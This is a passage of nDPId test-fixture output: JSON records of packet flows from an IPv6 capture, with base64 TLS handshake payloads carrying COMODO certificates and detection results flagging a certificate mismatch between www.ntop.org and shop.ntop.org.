55Rudf67lhYKlAgMBAAGjggFlMIIBYTAfBgNVHSMEGDAWgBS7r34CPfqm8TyEjq3uOJjs2TIy1DAdBgNVHQ4EFgQUkK9qOpRaC9iQ6hJWc99DtDoo2ucwDgYDVR0PAQH\/BAQDAgGGMBIGA1UdEwEB\/wQIMAYBAf8CAQAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMBsGA1UdIAQUMBIwBgYEVR0gADAIBgZngQwBAgEwTAYDVR0fBEUwQzBBoD+gPYY7aHR0cDovL2NybC5jb21vZG9jYS5jb20vQ09NT0RPUlNBQ2VydGlmaWNhdGlvbkF1dGhvcml0eS5jcmwwcQYIKwYBBQUHAQEEZTBjMDsGCCsGAQUFBzAChi9odHRwOi8vY3J0LmNvbW9kb2NhLmNvbS9DT01PRE9SU0FBZGRUcnVzdENBLmNydDAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuY29tb2RvY2EuY29tMA0GCSqGSIb3DQEBDAUAA4ICAQBOK3ZPkhxiNom6d8EnBfQc1kSdqZo+qtVmZgE+6knmojW8+vbdlY6ZNZgONhh1sd3dUHJ8rtx3iM4P95AgyqNnLh9Wf3vhROpClcRdDQFQRhXygYlZbIrdjPESoY06QoqY+Es0eyc7CLRvJDtynWN0WDwabD9PxxGayKj1tTfvEEXGbNngXpUms+uto7nufwyaZjVzMmBO5d2KYSxuUhF3aJbTGHVRFQAbdIjd4cc4BEMo6Rb92QXUXUcnYNb7ODtscqKU+EIa3+1vBoxFwgYAquTo3Nm14XN47PYj3NHdbI4aj6XqVHyWt8P+VY6NSV78ZLvPPr2W62nNv+BI8WKCEOUMRlfyM9rQyGPtxh+UBZZKGpHR9+vPj1KuDQjZPqigUenBh3TVyfd0qy5T+7t6+5fi+B8mj7PSoOA3Wyg7MeUOVy1auK15rF4gZhqluaa1OcH1mEP\/7vmnp\/3uyiQ9gBbEF4+KwWChDK5bQ0eRS9WaF1\/51IfBwoy35+IPMBk3hqzg3EID5pSona79DyRRlM6SCNH8UPADQHuIWe0O3azSd4I03AaVAtiQ+S3qN9UaYNBnINfYQgtFr4Jo3t1mJDeQKZQZRhkluIDXy9SGKGpEcCYjYqmfhm+\/upBw0lZ3hXjv6iWpF85QcowAOqrj22M0n\/gGcQHigiDU\/m+9sQAFeDCCBXQwggRcoAMCAQICECdm7lbrSfOOq9dwovyE3iIwDQYJKoZIhvcNAQEMBQAwbzELMAkGA1UEBhMCU0UxFDASBgNVBAoTC0FkZFRydXN0IEFCMSYwJAYDVQQLEx1BZGRUcnVzdCBFeHRlcm5hbCBUVFAgTmV0d29yazEiMCAGA1UEAxMZQWRkVHJ1c3QgRXh0ZXJuYWwgQ0EgUm9vdDAeFw0wMDA1MzAxMDQ4MzhaFw0yMDA1MzAxMDQ4MzhaMIGFMQswCQYDVQQGEwJHQjEbMBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRowGAYDVQQKExFDT01PRE8gQ0EgTGltaXRlZDErMCkGA1UEAxMiQ09NT0RPIFJTQSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAJHoVJLSClaxrA0k3cXPRGd0mSs3o30jcABxvFPfxPoqEo9LfxBWvZ9wcrdhf8lLDxenPeOwBGHu\/xGXx\/SGPgr6Plz5k+Y0etkUa+ecs4Wggnp2r3GQ1+z9DfqcbPrfsIL0FH75vsSmL09\/mX+1\/GdDcr0MANaJ62ss0+2PmBwUq37l42782KjkkiTaQ2tiuFX96sG8bLaL8w6NmuSbbGmZ+HhIMEXVreENPEVg\/DKWUSe8Z8PKLrZr6kbHxyCgsR9l3kgIuqROqfKDRjeE6+jMgUhDZ05yKptcvUwbKIpcInu0q5jZ7uBRg8MJRk5tPpn6lRfafDNXQTyNUe0LtlyvLGMa31fIP7zpXcSbr0WZ4qNaJLS6qVY9z2+q\/0lYvvCo\/\/S4rek3+7q49As6+ehDQh6J2ITLE\/HZu+GJYLiMKFasFB2cCudx688O3T2plqFIvTz3r7UNIkzAEYHsVjv206LiW7eyBCJSlYCTaeiOTGXxkQMtcHQC6otnFSlpUgK7199QalVGv6CjKGF\/cNDDoqosIapHziicBkV2v4IYJ7TVrrTLUOZr9EyGcTDppt8WhuDY\/0Dd+9BCiH+jMzouXB5BEYFjzhhxayvspoq3MVw6akfgw3lZ1iAar\/JqmKpyvFdK0kuduxD8sExB5e0dPV4onZzMv7NR2qdH5YRTAgMBAAGjgfQwgfEwHwYDVR0jBBgwFoAUrb2YejS0Jvf6xCZU7wO94CTLVBowHQYDVR0OBBYEFLuvfgI9+qbxPISOre44mOzZMjLUMA4GA1UdDwEB\/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH\/MBEGA1UdIAQKMAgwBgYEVR0gADBEBgNVHR8EPTA7MDmgN6A1hjNodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vQWRkVHJ1c3RFeHRlcm5hbENBUm9vdC5jcmwwNQYIKwYBBQUHAQEEKTAnMCUGCCsG"} +00456{"flow_id":7,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":97,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269138,"pkt_ts_usec":627538,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABknABu7DxniJDqt4ogBABIWsSAAABAQgKEg13NABerO4="} +02383{"flow_id":6,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":98,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269138,"pkt_ts_usec":628475,"pkt_caplen":1514,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1514,"pkt_l4_len":1460,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAABbQGOCoDsMAAAwDQAAAAAABwEAEqAA1AAAEAA3qswP\/+pw1MAbuSbiqmXm2Y1W5HgBAAdOrGAAABAQgKAF6s7hINdy0VAwMAAgFwFgMDAEECAAA9AwP\/gr+10+Po1U2wbWlKPo3WWKrp+1kU8G6Kz6lqITIQHgDALwAAFQAAAAD\/AQABAAALAAQDAAECACMAABYDAxDjCwAQ3wAQ3AAFTzCCBUswggQzoAMCAQICEGlwh8ZXzEdaqUNvI9+NN8MwDQYJKoZIhvcNAQELBQAwgZAxCzAJBgNVBAYTAkdCMRswGQYDVQQIExJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAOBgNVBAcTB1NhbGZvcmQxGjAYBgNVBAoTEUNPTU9ETyBDQSBMaW1pdGVkMTYwNAYDVQQDEy1DT01PRE8gUlNBIERvbWFpbiBWYWxpZGF0aW9uIFNlY3VyZSBTZXJ2ZXIgQ0EwHhcNMTUxMTE1MDAwMDAwWhcNMTgxMTE0MjM1OTU5WjBRMSEwHwYDVQQLExhEb21haW4gQ29udHJvbCBWYWxpZGF0ZWQxFDASBgNVBAsTC1Bvc2l0aXZlU1NMMRYwFAYDVQQDEw1zaG9wLm50b3Aub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzR6BIHt+rHaCaBL\/qKK36Y6zgLZa7uQ42uYff0TmO+nrjezjVzokWSc+b7XT8xiQLH5AkqJ9Lf\/\/NeqkB1fm7\/K3k27TQzmGn0gZ\/gjZ0up1RGHlcWqkmBgu1hm4kF0hAptThu\/QQTHz6OE2C2JERem\/TCFrM+LeqAlRcK\/9iYu2odCWrMkYWJu1Zur8eL0LtVyxc3kqCMWwu7at46P1qNP8vTbSQDxFLJTvozfhfIr+zQT412txGL1UCyQye5MRn5Abou0RkIjFXoM+zdLQQC3yVy\/Jd1s9wnLEcoBoeKxiqK5BJxLO\/3yH8uWwyg8YUFbd5+1cgJHdZ69cFgM4ZwIDAQABo4IB3TCCAdkwHwYDVR0jBBgwFoAUkK9qOpRaC9iQ6hJWc99DtDoo2ucwHQYDVR0OBBYEFJAVUwm3FdB8i+jm6lJjVmDmcoYFMA4GA1UdDwEB\/wQEAwIFoDAMBgNVHRMBAf8EAjAAMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBPBgNVHSAESDBGMDoGCysGAQQBsjEBAgIHMCswKQYIKwYBBQUHAgEWHWh0dHBzOi8vc2VjdXJlLmNvbW9kby5jb20vQ1BTMAgGBmeBDAECATBUBgNVHR8ETTBLMEmgR6BFhkNodHRwOi8vY3JsLmNvbW9kb2NhLmNvbS9DT01PRE9SU0FEb21haW5WYWxpZGF0aW9uU2VjdXJlU2VydmVyQ0EuY3JsMIGFBggrBgEFBQcBAQR5MHcwTwYIKwYBBQUHMAKGQ2h0dHA6Ly9jcnQuY29tb2RvY2EuY29tL0NPTU9ET1JTQURvbWFpblZhbGlkYXRpb25TZWN1cmVTZXJ2ZXJDQS5jcnQwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmNvbW9kb2NhLmNvbTArBgNVHREEJDAigg1zaG9wLm50b3Aub3JnghF3d3cuc2hvcC5udG9wLm9yZzANBgkqhkiG9w0BAQsFAAOCAQEABHga0CoUddKc8gTKl8pscY7onSvxASeGg6n14z8FhR2xLi3sQM93tAHGjfXnqbvor3abNIZbNbF0KzRdqJu4Pf8lRVflEivDChvy3JGmTgemN9zWuDPZ57rHKIP2WX88hJ\/PhjhgpWwDlVARS9gLCvB+ao\/MqFUPnRHIB\/ozv+GFroJaou2ptXCVpGzEcU5eeKmEk7EDV1FIeaLukxlf2pdWAhu92nfkdMVk7CEaYe2jnnRpGgH3FSI7e35KuJ6qcNoKFw3CRdQMfoBimHtdql+6OuUlCrOYGYcfLlT2dHNLRy5B10L6oRI="} +00822{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":98,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":6,"flow_first_seen":1448269138575,"flow_last_seen":1448269138628,"flow_tot_l4_data_len":1848,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a03:b0c0:3:d0::70:1001","src_port":37486,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.ntop","breed":"Safe","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.ntop.org","ja3":"d3e627f423a33ea41841c19b8af79293","ja3s":"389ed42c02ebecc32e73aa31def07e14","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"http\/1.1,spdy\/3.1,h2-14,h2"}} +00456{"flow_id":6,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":99,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269138,"pkt_ts_usec":628511,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABkm4Bu5jVbkcqpmQBgBAA+GsSAAABAQgKEg13NABerO4="} +02373{"flow_id":6,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":100,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269138,"pkt_ts_usec":628541,"pkt_caplen":1514,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1514,"pkt_l4_len":1460,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAABbQGOCoDsMAAAwDQAAAAAABwEAEqAA1AAAEAA3qswP\/+pw1MAbuSbiqmZAGY1W5HgBAAdO2IAAABAQgKAF6s7hINdy0a7lRZZvgTMcu9Q3ViDTlQU1VpfPinQgAGDDCCBggwggPwoAMCAQICECsuburZdTZsFIpu26N8jAcwDQYJKoZIhvcNAQEMBQAwgYUxCzAJBgNVBAYTAkdCMRswGQYDVQQIExJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAOBgNVBAcTB1NhbGZvcmQxGjAYBgNVBAoTEUNPTU9ETyBDQSBMaW1pdGVkMSswKQYDVQQDEyJDT01PRE8gUlNBIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTE0MDIxMjAwMDAwMFoXDTI5MDIxMTIzNTk1OVowgZAxCzAJBgNVBAYTAkdCMRswGQYDVQQIExJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAOBgNVBAcTB1NhbGZvcmQxGjAYBgNVBAoTEUNPTU9ETyBDQSBMaW1pdGVkMTYwNAYDVQQDEy1DT01PRE8gUlNBIERvbWFpbiBWYWxpZGF0aW9uIFNlY3VyZSBTZXJ2ZXIgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCOwgIZ4aBZpOs4NY0s\/QHQ00nAZMcLYgVFFjqooMAMAn8dzNvEoW13A6MPhvnjBpw+C4GKm0kbrQO++kvbjCDt1c5eZY4+Da9MwrC3RV5SLzTeSCRktEGuAJf3vmfentB6p1OAO3yt9ZZVb5dHCnyFiyKXjbOE4JZX0HAYYJaP7i0Hk52husrRzXvpxCqaKCGRTW+STyWl8no13SbcRqXQrFk1jP9OkUNQP1mTHmxRIe5YFKv+dVB4PkywHIYT+muYvOA7lB6FUtwDkyQYbssnUUXmcN4lQ6QN4Uql7bZ+yM1t7i4dJ3Nd3EUwgKrjskELr71Eh9q55Rudf67lhYKlAgMBAAGjggFlMIIBYTAfBgNVHSMEGDAWgBS7r34CPfqm8TyEjq3uOJjs2TIy1DAdBgNVHQ4EFgQUkK9qOpRaC9iQ6hJWc99DtDoo2ucwDgYDVR0PAQH\/BAQDAgGGMBIGA1UdEwEB\/wQIMAYBAf8CAQAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMBsGA1UdIAQUMBIwBgYEVR0gADAIBgZngQwBAgEwTAYDVR0fBEUwQzBBoD+gPYY7aHR0cDovL2NybC5jb21vZG9jYS5jb20vQ09NT0RPUlNBQ2VydGlmaWNhdGlvbkF1dGhvcml0eS5jcmwwcQYIKwYBBQUHAQEEZTBjMDsGCCsGAQUFBzAChi9odHRwOi8vY3J0LmNvbW9kb2NhLmNvbS9DT01PRE9SU0FBZGRUcnVzdENBLmNydDAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuY29tb2RvY2EuY29tMA0GCSqGSIb3DQEBDAUAA4ICAQBOK3ZPkhxiNom6d8EnBfQc1kSdqZo+qtVmZgE+6knmojW8+vbdlY6ZNZgONhh1sd3dUHJ8rtx3iM4P95AgyqNnLh9Wf3vhROpClcRdDQFQRhXygYlZbIrdjPESoY06QoqY+Es0eyc7CLRvJDtynWN0WDwabD9PxxGayKj1tTfvEEXGbNngXpUms+uto7nufwyaZjVzMmBO5d2KYSxuUhF3aJbTGHVRFQAbdIjd4cc4BEMo6Rb92QXUXUcnYNb7ODtscqKU+EIa3+1vBoxFwgYAquTo3Nm14XN47PYj3NHdbI4aj6XqVHyWt8P+VY6NSV78ZLvPPr2W62nNv+BI8WKCEOUMRlfyM9rQyGPtxh+UBZZKGpHR9+vPj1KuDQjZPqigUenBh3TVyfd0qy5T+7t6+5fi+B8mj7PSoOA3Wyg7MeUOVy1auK15rF4gZhqluaa1OcH1mEP\/7vmnp\/3uyiQ9gBbEF4+KwWChDK5bQ0c="} +00457{"flow_id":6,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":101,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269138,"pkt_ts_usec":628563,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABkm4Bu5jVbkcqpmmVgBABDmsSAAABAQgKEg13NABerO4="} +02135{"flow_id":6,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269138,"pkt_ts_usec":628622,"pkt_caplen":1326,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1326,"pkt_l4_len":1272,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAABPgGOCoDsMAAAwDQAAAAAABwEAEqAA1AAAEAA3qswP\/+pw1MAbuSbiqmaZWY1W5HgBgAdJPHAAABAQgKAF6s7hINdy2RS9WaF1\/51IfBwoy35+IPMBk3hqzg3EID5pSona79DyRRlM6SCNH8UPADQHuIWe0O3azSd4I03AaVAtiQ+S3qN9UaYNBnINfYQgtFr4Jo3t1mJDeQKZQZRhkluIDXy9SGKGpEcCYjYqmfhm+\/upBw0lZ3hXjv6iWpF85QcowAOqrj22M0n\/gGcQHigiDU\/m+9sQAFeDCCBXQwggRcoAMCAQICECdm7lbrSfOOq9dwovyE3iIwDQYJKoZIhvcNAQEMBQAwbzELMAkGA1UEBhMCU0UxFDASBgNVBAoTC0FkZFRydXN0IEFCMSYwJAYDVQQLEx1BZGRUcnVzdCBFeHRlcm5hbCBUVFAgTmV0d29yazEiMCAGA1UEAxMZQWRkVHJ1c3QgRXh0ZXJuYWwgQ0EgUm9vdDAeFw0wMDA1MzAxMDQ4MzhaFw0yMDA1MzAxMDQ4MzhaMIGFMQswCQYDVQQGEwJHQjEbMBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRowGAYDVQQKExFDT01PRE8gQ0EgTGltaXRlZDErMCkGA1UEAxMiQ09NT0RPIFJTQSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAJHoVJLSClaxrA0k3cXPRGd0mSs3o30jcABxvFPfxPoqEo9LfxBWvZ9wcrdhf8lLDxenPeOwBGHu\/xGXx\/SGPgr6Plz5k+Y0etkUa+ecs4Wggnp2r3GQ1+z9DfqcbPrfsIL0FH75vsSmL09\/mX+1\/GdDcr0MANaJ62ss0+2PmBwUq37l42782KjkkiTaQ2tiuFX96sG8bLaL8w6NmuSbbGmZ+HhIMEXVreENPEVg\/DKWUSe8Z8PKLrZr6kbHxyCgsR9l3kgIuqROqfKDRjeE6+jMgUhDZ05yKptcvUwbKIpcInu0q5jZ7uBRg8MJRk5tPpn6lRfafDNXQTyNUe0LtlyvLGMa31fIP7zpXcSbr0WZ4qNaJLS6qVY9z2+q\/0lYvvCo\/\/S4rek3+7q49As6+ehDQh6J2ITLE\/HZu+GJYLiMKFasFB2cCudx688O3T2plqFIvTz3r7UNIkzAEYHsVjv206LiW7eyBCJSlYCTaeiOTGXxkQMtcHQC6otnFSlpUgK7199QalVGv6CjKGF\/cNDDoqosIapHziicBkV2v4IYJ7TVrrTLUOZr9EyGcTDppt8WhuDY\/0Dd+9BCiH+jMzouXB5BEYFjzhhxayvspoq3MVw6akfgw3lZ1iAar\/JqmKpyvFdK0kuduxD8sExB5e0dPV4onZzMv7NR2qdH5YRTAgMBAAGjgfQwgfEwHwYDVR0jBBgwFoAUrb2YejS0Jvf6xCZU7wO94CTLVBowHQYDVR0OBBYEFLuvfgI9+qbxPISOre44mOzZMjLUMA4GA1UdDwEB\/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH\/MBEGA1UdIAQKMAgwBgYEVR0gADBEBgNVHR8EPTA7MDmgN6A1hjNodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vQWRkVHJ1c3RFeHRlcm5hbENBUm9vdC5jcmwwNQYIKwYBBQUHAQEEKTAnMCUGCCsG"} +00458{"flow_id":6,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":103,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269138,"pkt_ts_usec":628652,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABkm4Bu5jVbkcqpm5tgBABJGsSAAABAQgKEg13NABerO4="} +01357{"flow_id":6,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":104,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269138,"pkt_ts_usec":635605,"pkt_caplen":742,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":742,"pkt_l4_len":688,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAArAGOCoDsMAAAwDQAAAAAABwEAEqAA1AAAEAA3qswP\/+pw1MAbuSbiqmbm2Y1W5HgBgAdMtVAAABAQgKAF6s8BINdy0BBQUHMAGGGWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wDQYJKoZIhvcNAQEMBQADggEBAGS\/g\/FfmoXQzbihKVcN6Fr30ek+8nYEbvFScLsePP9NDXRqzIGCJdPDoCpdTPW6i6FtxFQJdcfjJw5dhHk3QBN39bSsHNA7qxcS1u80GH4r6XnTq1dFDK8o+tDb5VCViLvfhVdpfZLYUspzgb8c8+a4bmYRBbMelC1\/kZWSWfFMzqORcUx8Rww7Cxn2obFshj5cqsQugsv5B5a6SE2Q8pTIqXOi6wZ7I53eovNNVZ96YUWYGGjHXkBrI\/V5eu+MtWuLt29G9HvxPUsE2JOAWVrgQSQdso8VYFhH2+9uRv0V9dlfmrPb2LjkQLPNlzmuhbsdjrzch5vRpu\/xO28QOG8WAwMBTQwAAUkDABdBBB\/iYgJMZBBHJ84TXA\/bT1U8sy7OWVyfkc6G\/87ELj\/IEJz1iHdAPZOgBAyISSfD50qM+z8q7OzfUwUAdlPGfTQGAQEAp4cW5jdt\/W6z7Lb\/gkrLUjIW0dJ8PHG\/ZwAUIl999MflxWuNkgI\/XrLnSu92ZUQaoUFKO2afLt2hnI9jkpwTjZlRJvyCrBT+tPbcMLbMQNPzJyp3s9S6HWhQcvEYla5P43\/IBknvwt6y8gvG\/53+epc1qUBLmIGMG5qXW9Va0z\/21gSJJAwB4VX60sqMlJytqfcHDBh9E5OPezdXrBY8ka8kJF0HTjyUa6n4L065Ix5mTySfOEWtaRH3ZJ904UXxKvR82LS\/zOCtQwCjvnmC884r7nLvLShK3b8f\/HeLfDMJmVBAGwP8f71mMjGZd2qsvjENnjnZ\/tWj5+CfRP7xZRYDAwAEDgAAAA=="} +01194{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":104,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":12,"flow_first_seen":1448269138575,"flow_last_seen":1448269138635,"flow_tot_l4_data_len":5364,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":447,"midstream":0,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a03:b0c0:3:d0::70:1001","src_port":37486,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"10":"TLS Certificate Mismatch"},"proto":"TLS.ntop","breed":"Safe","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.ntop.org","server_names":"shop.ntop.org,www.shop.ntop.org","ja3":"d3e627f423a33ea41841c19b8af79293","ja3s":"389ed42c02ebecc32e73aa31def07e14","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=GB, ST=Greater Manchester, L=Salford, O=COMODO CA Limited, CN=COMODO RSA Domain Validation Secure Server CA","issuerDN":"OU=Domain Control Validated, OU=PositiveSSL, CN=shop.ntop.org","alpn":"http\/1.1,spdy\/3.1,h2-14,h2","fingerprint":"FB:A6:FF:A7:58:F3:9D:54:24:45:E5:A0:C4:04:18:D5:58:91:E0:34"}} +00458{"flow_id":6,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269138,"pkt_ts_usec":635648,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABkm4Bu5jVbkcqpnD9gBABO2sSAAABAQgKEg13NgBerPA="} +01351{"flow_id":7,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":106,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269138,"pkt_ts_usec":636898,"pkt_caplen":742,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":742,"pkt_l4_len":688,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAArAGOCoDsMAAAwDQAAAAAABwEAEqAA1AAAEAA3qswP\/+pw1MAbuScEOq3iiw8Z4igBgAdEtJAAABAQgKAF6s8BINdy0BBQUHMAGGGWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wDQYJKoZIhvcNAQEMBQADggEBAGS\/g\/FfmoXQzbihKVcN6Fr30ek+8nYEbvFScLsePP9NDXRqzIGCJdPDoCpdTPW6i6FtxFQJdcfjJw5dhHk3QBN39bSsHNA7qxcS1u80GH4r6XnTq1dFDK8o+tDb5VCViLvfhVdpfZLYUspzgb8c8+a4bmYRBbMelC1\/kZWSWfFMzqORcUx8Rww7Cxn2obFshj5cqsQugsv5B5a6SE2Q8pTIqXOi6wZ7I53eovNNVZ96YUWYGGjHXkBrI\/V5eu+MtWuLt29G9HvxPUsE2JOAWVrgQSQdso8VYFhH2+9uRv0V9dlfmrPb2LjkQLPNlzmuhbsdjrzch5vRpu\/xO28QOG8WAwMBTQwAAUkDABdBBK9Da7enVTgKDFo3dp9D2ZSqSg29XA\/B9eMRpfJFUtlvNE3+XEzQY08gZspdnR1f9QPx5qG5S8oXK\/McD3d9nhUGAQEAGII47e54zqqIKgxkUsNbjrwB3irxozphph104L\/qxh44x9nwtDy\/Pxj94P6g5QYK2kJM5+BMLtrveIuj6gXVWuZ4nClmSbrXUwQy69IpGe8S\/v\/rOrq0aWnjo8Z4qV1HltVOs821rZ6HVkKp37tfaNRpLTefdXr4qEu8hIZnLBrUrvAs50NpZxpQX6oqta6pplhf4CRGS8+dfr8TcKsL8ycBsqZIJ7hywsR2gs2Ghr0NMwjAV5uKecEBxySbyilA4zG9jpobpauvIkc\/z\/hdWPaf9IH74x9zkhj3LEqZD3bthFM4fRblvSkAmod+s8aczp7YGeCaBNpVZDnaf+7JOxYDAwAEDgAAAA=="} +01194{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":106,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":10,"flow_first_seen":1448269138575,"flow_last_seen":1448269138636,"flow_tot_l4_data_len":5300,"flow_min_l4_data_len":32,"flow_max_l4_data_len":2700,"flow_avg_l4_data_len":530,"midstream":0,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a03:b0c0:3:d0::70:1001","src_port":37488,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"10":"TLS Certificate Mismatch"},"proto":"TLS.ntop","breed":"Safe","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.ntop.org","server_names":"shop.ntop.org,www.shop.ntop.org","ja3":"d3e627f423a33ea41841c19b8af79293","ja3s":"389ed42c02ebecc32e73aa31def07e14","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=GB, ST=Greater Manchester, L=Salford, O=COMODO CA Limited, CN=COMODO RSA Domain Validation Secure Server CA","issuerDN":"OU=Domain Control Validated, OU=PositiveSSL, CN=shop.ntop.org","alpn":"http\/1.1,spdy\/3.1,h2-14,h2","fingerprint":"FB:A6:FF:A7:58:F3:9D:54:24:45:E5:A0:C4:04:18:D5:58:91:E0:34"}} +00458{"flow_id":7,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":107,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269138,"pkt_ts_usec":636926,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqA7DAAAMA0AAAAAAAcBABknABu7DxniJDquC4gBABOGsSAAABAQgKEg13NgBerPA="} 